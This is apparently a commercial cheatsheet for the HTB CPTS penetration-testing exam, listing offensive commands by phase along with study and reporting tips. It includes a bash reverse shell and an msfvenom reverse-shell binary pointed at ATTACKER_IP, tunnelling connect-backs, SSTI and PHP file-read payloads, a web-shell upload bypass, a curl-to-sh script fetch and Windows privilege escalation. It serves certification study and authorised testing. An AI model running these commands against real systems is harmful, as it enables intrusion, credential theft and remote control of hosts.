CPTS Cheatsheet 2026

The commands and workflow for the HTB Certified Penetration Testing Specialist exam — information gathering, vulnerability assessment, Active Directory, pivoting, and the commercial-grade report that gets you certified.

Last updated:

Quick Navigation

01 Information Gathering 02 Vulnerability Assessment 03 Web Exploitation 04 Shells & Payloads 05 Active Directory 06 Pivoting & Tunneling 07 Privilege Escalation 08 Reporting 09 Exam Tips

# Information Gathering

The CPTS network is a realistic enterprise environment. Map the full external and internal surface before touching anything — thorough enumeration drives the whole attack chain.

Port & Service Scanning

nmap -p- --min-rate=1000 -T4 TARGET -oN ports.txt
Full TCP port sweep to discover every open service
nmap -p OPEN_PORTS -sC -sV -oA detailed TARGET
Scripted version scan on the discovered ports

Subdomains & OSINT

subfinder -d TARGET -silent | httpx -silent -title -tech-detect
Passive subdomain discovery + live host / technology fingerprinting
curl -s 'https://crt.sh/?q=%.TARGET&output=json' | jq -r '.[].name_value' | sort -u
Certificate transparency logs — reveals staging, dev and internal subdomains

Web Content Discovery

ffuf -u http://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -e .php,.aspx,.txt -mc all -fc 404
Directory / file fuzzing with extensions
ffuf -u http://TARGET -H "Host: FUZZ.TARGET" -w subdomains.txt -fs 0
Virtual host (vhost) discovery — common on CPTS web boxes

SMB & Domain Enumeration

netexec smb TARGET -u '' -p '' --shares
NetExec (CrackMapExec successor) — enumerate shares with a null session
enum4linux-ng -A TARGET
Full SMB/RPC enumeration — users, groups, shares, password policy

# Vulnerability Assessment

CPTS expects a structured vulnerability assessment step: map each service to known weaknesses before you exploit, and record everything for the report.

💡 CPTS Tip: Note every finding with severity and CVSS as you go — the report is graded, so build it during the assessment, not at the end.
nuclei -u https://TARGET -t cves/ -t misconfiguration/ -severity medium,high,critical
Template-based scanning for known CVEs and misconfigurations
nikto -h http://TARGET -C all
Web server misconfigurations and dangerous default files
searchsploit SERVICE VERSION
Map a fingerprinted service+version to public exploits
curl -s "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-XXXX-XXXXX" | jq '.vulnerabilities[0].cve.metrics'
Pull the official CVSS vector from NVD to cite in the report

# Web Exploitation

Web applications are a frequent foothold on CPTS. Injection, file upload, SSTI and inclusion bugs open the door to the internal network.

SQL Injection

sqlmap -r request.txt --batch --level 5 --risk 3 --dbs
Automated SQLi from a saved Burp request — enumerate databases

Template Injection (SSTI)

{{7*7}} ${7*7} #{7*7}
SSTI probes — a returned 49 means server-side template injection → often RCE

File Inclusion

curl "http://TARGET/?page=php://filter/convert.base64-encode/resource=config"
PHP filter wrapper — read source code as base64 for credentials

File Upload Bypass

cp shell.php shell.phar # try .phtml, .php5, double ext, magic bytes
Bypass extension filters to drop a web shell

# Shells & Payloads

Get a stable foothold, then upgrade to a fully interactive shell for the internal phase.

bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
Classic bash reverse shell
python3 -c 'import pty;pty.spawn("/bin/bash")'; export TERM=xterm
Upgrade to a PTY, then Ctrl+Z → stty raw -echo; fg for a full TTY
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4444 -f exe -o s.exe
Windows x64 reverse shell binary

# Pivoting & Tunneling

The CPTS network is segmented. You will compromise a host in one subnet and pivot deeper — ligolo-ng and chisel are the go-to tools.

Ligolo-ng (recommended)

./proxy -selfcert # on Kali, then: interface ip add 240.0.0.1/32 route
Start the ligolo-ng proxy and add the tunnel interface/route
./agent -connect ATTACKER_IP:11601 -ignore-cert
On the compromised host: connect back to reach its internal subnet

Chisel & SSH

./chisel server -p 8080 --reverse # client: ./chisel client ATTACKER_IP:8080 R:socks
Reverse SOCKS5 proxy through a compromised host
proxychains4 netexec smb 10.10.0.0/24
Enumerate the internal subnet through the SOCKS proxy

# Privilege Escalation

Local privesc on both Linux and Windows hosts feeds credentials back into the domain compromise.

Linux

curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
LinPEAS — highlights privesc vectors; verify each manually (GTFOBins)
sudo -l ; find / -perm -4000 -type f 2>/dev/null
Sudo rights + SUID binaries — the two most common Linux vectors

Windows

.\winPEASx64.exe ; whoami /priv
WinPEAS + token privileges — look for SeImpersonatePrivilege
.\GodPotato.exe -cmd "cmd /c whoami"
SeImpersonate → SYSTEM on modern Windows

# Reporting

The CPTS is graded on a commercial-grade report — this is where most of the marks are. Structure it professionally and make every finding reproducible.

💡 CPTS Tip: HTB officially supports SysReptor, and Markdown reports import cleanly. Each finding needs: description, impact, affected hosts, CVSS v3.1 vector, steps to reproduce, remediation and references.
# Executive Summary → Attack Chain → Findings (CVSS + steps) → Remediation Summary
The commercial-grade CPTS report skeleton expected by HTB
hashcat -m 13100 kerberoast.txt /usr/share/wordlists/rockyou.txt # document cracked creds
Record how each credential was obtained — reproducibility is graded

# CPTS Exam Tips

Strategy for the 10-day exam plus the report. The report is where candidates most often lose marks.

📝 The report is graded, not just the flags: Write findings as you go. A perfect compromise with a weak report can still fail.
🏰 Think in attack chains: CPTS rewards realistic chaining of small misconfigurations, not single exploits. Map with BloodHound.
🗺️ Master pivoting: The network is segmented — practice ligolo-ng and proxychains until they are second nature.
⏱️ Use the 10 days: Unlike OSCP, you have time. Enumerate deeply, take breaks, and keep clean notes with timestamps and screenshots.
🔐 Learn AD CS abuse: ESC1–ESC8 (certipy) is a frequent fast path to Domain Admin on modern AD networks.

❓ CPTS Frequently Asked Questions

The HTB CPTS exam is a 10-day fully hands-on assessment against a realistic corporate Active Directory network, followed by time to write a commercial-grade report. You must reach a required number of flags AND submit a professional report — the report is mandatory and heavily weighted.

They differ in focus. CPTS has a much larger, more realistic Active Directory and chaining component and strong emphasis on the professional report; OSCP includes standalone machines and a shorter 23h45 window. Many consider CPTS broader and more enterprise-oriented; OSCP remains the historical reference.

Yes. The CPTS is graded on a commercial-grade report, not just flags. It must include an executive summary, an attack chain narrative, and findings with severity, CVSS, affected hosts, steps to reproduce and remediation. HTB officially supports SysReptor, and Markdown-based tools import cleanly.

nmap, ffuf/feroxbuster, nuclei, BloodHound/SharpHound, impacket (GetUserSPNs, secretsdump, psexec), certipy (AD CS ESC1–ESC8), evil-winrm, NetExec/CrackMapExec, ligolo-ng or chisel for pivoting, and hashcat. Report with SysReptor or the Pentest Mindmap AI report.

The HTB Academy "Penetration Tester" job-role path is around 250+ hours and covers the full CPTS syllabus. Most candidates need 2–5 months depending on prior experience, with a strong focus on Active Directory, pivoting and reporting.

Yes — heavily. The CPTS exam network is a corporate AD environment. Master BloodHound path analysis, Kerberoasting, AS-REP roasting, AD CS abuse (certipy ESC1–ESC8), NTLM relay, DCSync and lateral movement to Domain Admin.

No. Unlike the classic OSCP, the CPTS does not focus on manual stack buffer overflow exploitation. It emphasizes realistic enterprise attack chains, web and Active Directory exploitation, pivoting, and professional reporting.

ESC1 is an Active Directory Certificate Services misconfiguration where a vulnerable template allows client authentication and lets the enrollee supply the subject. With certipy you can request a certificate as a Domain Admin and obtain a TGT — a fast path to domain compromise, common on modern AD networks tested in CPTS.

Executive summary (non-technical), assessment scope, a realistic attack chain narrative, detailed findings (description, impact, affected hosts, CVSS v3.1 vector, steps to reproduce, remediation, references) and a prioritized remediation summary. Keep it commercial-grade and reproducible.

Yes — as a preparation accelerator. The free mindmap organizes 12,020+ commands across CPTS domains, the Pentest Space provides a dedicated CPTS report template, and the AI Wizard generates a commercial-grade CPTS-style report. It speeds up learning the methodology — always follow your exam rules.

📚 Related Resources

✨
AI-Assisted CPTS Report

Turn your findings into a commercial-grade CPTS report. The AI Wizard has a dedicated CPTS format with attack chain and CVSS findings.

Try for free →

Prepare your CPTS with 12,020+ commands

This cheatsheet is the surface. Pentest Mindmap organizes 12,020+ commands in 34 categories with instant search, a CPTS report template and an AI report generator.

Start free →
📎 Found this cheatsheet useful?